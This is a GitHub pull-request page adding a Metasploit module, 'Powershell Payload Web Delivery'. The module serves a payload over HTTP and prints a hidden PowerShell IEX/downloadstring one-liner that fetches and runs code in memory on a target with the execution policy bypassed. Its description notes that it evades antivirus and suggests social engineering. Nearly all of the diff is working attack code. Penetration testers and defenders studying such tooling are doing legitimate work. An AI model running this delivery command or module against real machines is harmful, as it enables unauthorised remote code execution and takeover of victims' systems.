Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

PSH Downloader #2133

Merged
merged 6 commits into from
Jul 24, 2013
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
66 changes: 66 additions & 0 deletions modules/exploits/windows/misc/psh_web_delivery.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Powershell Payload Web Delivery',
'Description' => %q{
Quickly fires up a web server that serves the payload in powershell.
The command will start powershell and then download and execute the payload.
You can extract the IEX command to execute directly from powershell.
The main purpose of this module is to quickly establish a session
on a target machine when you have to manually type in the command yourself,
e.g. RDP Session, Local Access or maybe Remote Command Exec.
This does not write to disk so is unlikely to trigger AV solutions and will
allow you to attempt local privilege escalations supplied by meterpreter etc.
You could also try your luck with social engineering.
Ensure your payload architecture matches the target computer or use SYSWOW64
powershell.exe to execute x86 payloads on x64 machines.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
],
'References' =>
[
[ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ],
[ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
[ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html']
],
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 19 2013'))
end

def on_request_uri(cli, request)
print_status("Delivering Payload")
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
end

def primer
url = get_uri()
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
print_status("Run the following command on the target machine:")
print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"")
end
end